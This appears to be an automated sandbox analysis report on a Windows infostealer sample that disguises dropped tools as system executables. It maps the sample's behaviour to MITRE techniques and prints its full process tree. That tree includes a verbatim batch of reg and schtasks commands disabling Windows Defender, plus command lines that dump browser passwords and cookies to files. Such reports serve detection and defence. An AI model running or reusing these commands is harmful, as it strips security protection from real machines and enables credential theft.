a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f

Analysis

max time kernel
22s
max time network
91s
platform
windows10_x64
resource
win10v20210408
submitted
02/07/2021, 17:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe
Size 2.9MB
Sample210702-efpepg15ze
SHA256 a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f
MD5 8344f3ebbf53e62d36cf94f4ee8d618a
SHA1 56f35812195a5db0746a39641be477181daa3bc7
SHA512 340f5b480fbecc54f916ec420e998e348bf8ebfe5c998f15ce2bfcdeb4527e57b100c6293c5cde1d10c427f2d11f9694d90186388dc953aa17eb5f6fbdb98cdc
MD5 SHA1 SHA512

Score

10^/10

evasion spyware stealer trojan upx

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

NirSoft WebBrowserPassView 3 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3464-121-0x000001FC27CB0000-0x000001FC27FEB000-memory.dmp	WebBrowserPassView
behavioral2/files/0x000100000001ab33-185.dat	WebBrowserPassView
behavioral2/files/0x000100000001ab33-186.dat	WebBrowserPassView

Nirsoft 9 IoCs

resource	yara_rule
behavioral2/memory/3464-121-0x000001FC27CB0000-0x000001FC27FEB000-memory.dmp	Nirsoft
behavioral2/files/0x000100000001ab2e-177.dat	Nirsoft
behavioral2/files/0x000100000001ab2e-178.dat	Nirsoft
behavioral2/files/0x000100000001ab33-185.dat	Nirsoft
behavioral2/files/0x000100000001ab33-186.dat	Nirsoft
behavioral2/files/0x000100000001ab30-199.dat	Nirsoft
behavioral2/files/0x000100000001ab30-200.dat	Nirsoft
behavioral2/files/0x000100000001ab32-208.dat	Nirsoft
behavioral2/files/0x000100000001ab32-209.dat	Nirsoft

Downloads MZ/PE file

Executes dropped EXE 8 IoCs

pid	Process
3464	RtkBtManServ.exe
200	CustomEXE.exe
3460	bfsvc.exe
2644	snuvcdsm.exe
1948	winhlp32.exe
64	splwow64.exe
3480	hh.exe
3824	xwizard.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000100000001ab2f-193.dat	upx
behavioral2/files/0x000100000001ab2f-194.dat	upx
behavioral2/files/0x000100000001ab31-196.dat	upx
behavioral2/files/0x000100000001ab31-197.dat	upx

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager7137867.exe	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager7137867.exe	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
200	CustomEXE.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	RtkBtManServ.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2644	snuvcdsm.exe
2644	snuvcdsm.exe
2644	snuvcdsm.exe
2644	snuvcdsm.exe
3480	hh.exe
3480	hh.exe
3824	xwizard.exe
3824	xwizard.exe
3824	xwizard.exe
3824	xwizard.exe
3824	xwizard.exe
3824	xwizard.exe
3824	xwizard.exe
3824	xwizard.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	664	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe
Token: SeDebugPrivilege	3464	RtkBtManServ.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 664 wrote to memory of 3464	664	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe	74
PID 664 wrote to memory of 3464	664	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe	74
PID 664 wrote to memory of 200	664	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe	76
PID 664 wrote to memory of 200	664	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe	76
PID 664 wrote to memory of 3780	664	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe	78
PID 664 wrote to memory of 3780	664	a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe	78
PID 3780 wrote to memory of 2288	3780	cmd.exe	80
PID 3780 wrote to memory of 2288	3780	cmd.exe	80
PID 3780 wrote to memory of 3832	3780	cmd.exe	81
PID 3780 wrote to memory of 3832	3780	cmd.exe	81
PID 3780 wrote to memory of 2328	3780	cmd.exe	82
PID 3780 wrote to memory of 2328	3780	cmd.exe	82
PID 3780 wrote to memory of 1824	3780	cmd.exe	83
PID 3780 wrote to memory of 1824	3780	cmd.exe	83
PID 3780 wrote to memory of 3384	3780	cmd.exe	84
PID 3780 wrote to memory of 3384	3780	cmd.exe	84
PID 3780 wrote to memory of 936	3780	cmd.exe	85
PID 3780 wrote to memory of 936	3780	cmd.exe	85
PID 3780 wrote to memory of 2560	3780	cmd.exe	86
PID 3780 wrote to memory of 2560	3780	cmd.exe	86
PID 3780 wrote to memory of 2376	3780	cmd.exe	87
PID 3780 wrote to memory of 2376	3780	cmd.exe	87
PID 3780 wrote to memory of 3460	3780	cmd.exe	88
PID 3780 wrote to memory of 3460	3780	cmd.exe	88
PID 3780 wrote to memory of 4060	3780	cmd.exe	89
PID 3780 wrote to memory of 4060	3780	cmd.exe	89
PID 3780 wrote to memory of 2288	3780	cmd.exe	90
PID 3780 wrote to memory of 2288	3780	cmd.exe	90
PID 3780 wrote to memory of 3696	3780	cmd.exe	91
PID 3780 wrote to memory of 3696	3780	cmd.exe	91
PID 3780 wrote to memory of 3820	3780	cmd.exe	92
PID 3780 wrote to memory of 3820	3780	cmd.exe	92
PID 3780 wrote to memory of 1956	3780	cmd.exe	93
PID 3780 wrote to memory of 1956	3780	cmd.exe	93
PID 3780 wrote to memory of 2892	3780	cmd.exe	94
PID 3780 wrote to memory of 2892	3780	cmd.exe	94
PID 3780 wrote to memory of 2600	3780	cmd.exe	95
PID 3780 wrote to memory of 2600	3780	cmd.exe	95
PID 3780 wrote to memory of 2420	3780	cmd.exe	96
PID 3780 wrote to memory of 2420	3780	cmd.exe	96
PID 3780 wrote to memory of 3480	3780	cmd.exe	97
PID 3780 wrote to memory of 3480	3780	cmd.exe	97
PID 3780 wrote to memory of 64	3780	cmd.exe	98
PID 3780 wrote to memory of 64	3780	cmd.exe	98
PID 3780 wrote to memory of 3576	3780	cmd.exe	99
PID 3780 wrote to memory of 3576	3780	cmd.exe	99
PID 3780 wrote to memory of 3460	3780	cmd.exe	100
PID 3780 wrote to memory of 3460	3780	cmd.exe	100
PID 3780 wrote to memory of 1140	3780	cmd.exe	101
PID 3780 wrote to memory of 1140	3780	cmd.exe	101
PID 3780 wrote to memory of 3808	3780	cmd.exe	102
PID 3780 wrote to memory of 3808	3780	cmd.exe	102
PID 3780 wrote to memory of 604	3780	cmd.exe	103
PID 3780 wrote to memory of 604	3780	cmd.exe	103
PID 3780 wrote to memory of 2076	3780	cmd.exe	104
PID 3780 wrote to memory of 2076	3780	cmd.exe	104
PID 3780 wrote to memory of 3160	3780	cmd.exe	105
PID 3780 wrote to memory of 3160	3780	cmd.exe	105
PID 3780 wrote to memory of 904	3780	cmd.exe	106
PID 3780 wrote to memory of 904	3780	cmd.exe	106
PID 3780 wrote to memory of 936	3780	cmd.exe	107
PID 3780 wrote to memory of 936	3780	cmd.exe	107
PID 3780 wrote to memory of 3852	3780	cmd.exe	108
PID 3780 wrote to memory of 3852	3780	cmd.exe	108

C:\Users\Admin\AppData\Local\Temp\a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe
"C:\Users\Admin\AppData\Local\Temp\a35bc86667197881479f85069d295aa12d92ae21d08bbbecb04b5eafdac4aa7f.exe"
1⤵
- Drops startup file
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:664
- C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
  "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs72TaFYN+GtbmN/e7gblT0RHBNfvuhOQ6hXaNUzS+raZKa6B6Ts8UDcs3aYbtp0x2tDJ17WjSMdFwCQv2VqAQguD5QSREJFWDnn5x8pjp/VzZ9aHnTzpSs59P4Jn/NSRYg=
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:3464
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
    3⤵
    PID:212
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c compile.bat
      4⤵
      PID:1840
    - - C:\Users\Admin\AppData\Local\Temp\bfsvc.exe
        
        C:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"
        5⤵
        Executes dropped EXE
        
        PID:3460
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
    3⤵
    PID:3756
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c compile.bat
      4⤵
      PID:1948
    - - C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
        
        C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2644
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
    3⤵
    PID:2260
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c compile.bat
      4⤵
      PID:1332
    - - C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
        
        C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
        5⤵
        Executes dropped EXE
        
        PID:1948
    - - C:\Users\Admin\AppData\Local\Temp\splwow64.exe
        
        C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
        5⤵
        Executes dropped EXE
        
        PID:64
    - - C:\Users\Admin\AppData\Local\Temp\hh.exe
        
        C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3480
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
    3⤵
    PID:3160
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c compile.bat
      4⤵
      PID:1840
    - - C:\Users\Admin\AppData\Local\Temp\xwizard.exe
        
        C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3824
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"
    3⤵
    PID:3812
  - - C:\Windows\system32\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      PID:3480
- C:\Users\Admin\AppData\Local\Temp\CustomEXE.exe
  "C:\Users\Admin\AppData\Local\Temp\CustomEXE.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:2288
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:3832
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:2328
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:1824
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    PID:3384
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    PID:936
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    PID:2560
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    PID:2376
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    PID:3460
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:4060
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
    3⤵
    PID:2288
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:3696
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:3820
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2892
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:2600
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:2420
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:3480
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:64
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:3576
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:3460
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:1140
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:3808
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:604
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2076
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3160
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:904
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:936
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3852
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3456

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/200-137-0x00007FF795720000-0x00007FF795AF1000-memory.dmp

Download

memory/664-122-0x00000155E26C0000-0x00000155E26C2000-memory.dmp

Download

memory/664-114-0x00000155C7CE0000-0x00000155C7CE1000-memory.dmp

Download

memory/3464-121-0x000001FC27CB0000-0x000001FC27FEB000-memory.dmp

Download

memory/3464-123-0x000001FC0D970000-0x000001FC0D971000-memory.dmp

Download

memory/3464-125-0x000001FC27B80000-0x000001FC27C2C000-memory.dmp

Download

memory/3464-171-0x000001FC28560000-0x000001FC28561000-memory.dmp

Download

memory/3464-165-0x000001FC0F400000-0x000001FC0F42A000-memory.dmp

Download

memory/3464-169-0x000001FC282A0000-0x000001FC2833B000-memory.dmp

Download

memory/3464-168-0x000001FC27C70000-0x000001FC27C9F000-memory.dmp

Download

memory/3464-166-0x000001FC0F2C0000-0x000001FC0F2C6000-memory.dmp

Download

memory/3464-170-0x000001FC28290000-0x000001FC28291000-memory.dmp

Download

memory/3464-119-0x000001FC0D3B0000-0x000001FC0D3B1000-memory.dmp

Download

memory/3464-164-0x000001FC28220000-0x000001FC28221000-memory.dmp

Download

memory/3464-130-0x000001FC27CA0000-0x000001FC27CA2000-memory.dmp

Download

memory/3464-124-0x000001FC27B00000-0x000001FC27B01000-memory.dmp

Download

memory/3464-167-0x000001FC28250000-0x000001FC28251000-memory.dmp

Download